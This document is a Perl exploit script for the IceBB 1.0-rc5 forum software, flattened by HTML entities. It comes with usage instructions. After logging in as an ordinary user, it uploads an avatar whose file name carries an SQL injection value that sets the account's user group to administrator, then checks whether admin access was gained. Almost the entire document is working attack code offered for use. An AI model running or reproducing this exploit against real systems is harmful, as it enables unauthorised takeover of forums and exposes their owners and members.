IceBB 1.0-rc5 Remote Create Admin Exploit

#!/usr/bin/perl #&nbsp;&nbsp;IceBB&nbsp;1.0-rc5&nbsp;Remote&nbsp;Create&nbsp;Admin&nbsp;Exploit #&nbsp;&nbsp;1.&nbsp;register&nbsp;a&nbsp;user #&nbsp;&nbsp;2.&nbsp;run&nbsp;this&nbsp;exploit&nbsp;with&nbsp;this&nbsp;usage&nbsp;:&nbsp;$perl&nbsp;xpl.pl&nbsp;[host&path]&nbsp;[uname]&nbsp;[pass] #&nbsp;&nbsp;3.&nbsp;login&nbsp;with&nbsp;admin&nbsp;access&nbsp;:) #&nbsp;-&nbsp;magic_quotes_gpc&nbsp;=&nbsp;Off # ####&nbsp;Coded&nbsp;&&nbsp;Discovered&nbsp;By&nbsp;Hessam-x&nbsp;/&nbsp;Hessamx-at-Hessamx.net use&nbsp;LWP::UserAgent; use&nbsp;HTTP::Cookies; $port&nbsp;=&nbsp;\"80\"; &nbsp;$host&nbsp;=&nbsp;$ARGV[0]; &nbsp;$uname&nbsp;=&nbsp;$ARGV[1]; &nbsp;$passwd&nbsp;=&nbsp;$ARGV[2]; &nbsp;$url&nbsp;=&nbsp;\"http://\".$host; &nbsp;print&nbsp;q( &nbsp;########################################################### &nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IceBB&nbsp;1.0-rc5&nbsp;Remote&nbsp;Create&nbsp;Admin&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# &nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.Hessamx.Net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# &nbsp;#################&nbsp;(C)oded&nbsp;By&nbsp;Hessam-x&nbsp;##################### ); &nbsp;if&nbsp;(@ARGV&nbsp;<&nbsp;3)&nbsp;{ &nbsp;print&nbsp;\"&nbsp;#&nbsp;&nbsp;usage&nbsp;:&nbsp;xpl.pl&nbsp;[host&path]&nbsp;[uname]&nbsp;[pass] \"; &nbsp;print&nbsp;\"&nbsp;#&nbsp;&nbsp;e.g&nbsp;:&nbsp;xpl.pl&nbsp;www.milw0rm.com/icebb/&nbsp;str0ke&nbsp;123456 \"; &nbsp;exit(); &nbsp;} &nbsp;&nbsp;&nbsp;print&nbsp;\"&nbsp;[~]&nbsp;User/Password&nbsp;:&nbsp;$uname/$passwd&nbsp; \"; &nbsp;&nbsp;&nbsp;print&nbsp;\"&nbsp;[~]&nbsp;Host&nbsp;:&nbsp;$host&nbsp; \"; &nbsp;$xpl&nbsp;=&nbsp;LWP::UserAgent->new()&nbsp;or&nbsp;die; &nbsp;$cookie_jar&nbsp;=&nbsp;HTTP::Cookies->new(); &nbsp;$xpl->cookie_jar(&nbsp;$cookie_jar&nbsp;); $login&nbsp;=&nbsp;$xpl->post($url.\'index.php\', Content&nbsp;=>&nbsp;[ &nbsp;\'act\'&nbsp;=>&nbsp;\'login\', \'from\'&nbsp;=>&nbsp;\'index.php\', \'user\'&nbsp;=>&nbsp;$uname, \'pass\'&nbsp;=>&nbsp;$passwd, \'func\'&nbsp;=>&nbsp;\'Login\', ],); &nbsp;if($cookie_jar->as_string&nbsp;=~&nbsp;/icebb_sessid=(.*?);/)&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookie&nbsp;=&nbsp;$1; &nbsp;&nbsp;&nbsp;print&nbsp;\"&nbsp;[~]&nbsp;Logined&nbsp;... \"; &nbsp;}&nbsp;else&nbsp;{ &nbsp;print&nbsp;\"&nbsp;[-]&nbsp;Can&nbsp;not&nbsp;Login&nbsp;In&nbsp;$host&nbsp;! \"; &nbsp;exit(); &nbsp;} &nbsp;$badcode&nbsp;=&nbsp;\"\',&nbsp;user_group=\'1\"; &nbsp;$avat&nbsp;=&nbsp;$xpl->post($url.\'index.php\',Content_Type&nbsp;=>&nbsp;\'form-data\', &nbsp;Content&nbsp;=>&nbsp;[ &nbsp;\'avtype\'&nbsp;&nbsp;=>&nbsp;\'upload\', &nbsp;\'act\'&nbsp;=>&nbsp;\'ucp\', &nbsp;\'func\'&nbsp;=>&nbsp;\'avatar\', &nbsp;\'file\'&nbsp;&nbsp;&nbsp;=>&nbsp;[ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;undef, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\'avatar.jpg\'.$badcode, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content_type&nbsp;=>&nbsp;\'text/plain\', &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content&nbsp;=>&nbsp;\'MYAVATAR\', &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;], &nbsp;\'submit\'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=>&nbsp;\'Save\', &nbsp;], &nbsp;); &nbsp;$test&nbsp;=&nbsp;$xpl->get($url.\'index.php\'); if($test->as_string&nbsp;=~&nbsp;/Admin&nbsp;Control&nbsp;Center/)&nbsp;{ print&nbsp;\"&nbsp;[+]&nbsp;You&nbsp;Are&nbsp;admin&nbsp;Now&nbsp;!&nbsp; \"; }&nbsp;else&nbsp;{ print&nbsp;\"&nbsp;[-]&nbsp;Exploit&nbsp;Failed&nbsp;!&nbsp; \"; } print&nbsp;\" &nbsp;####################################################&nbsp; \"; &nbsp;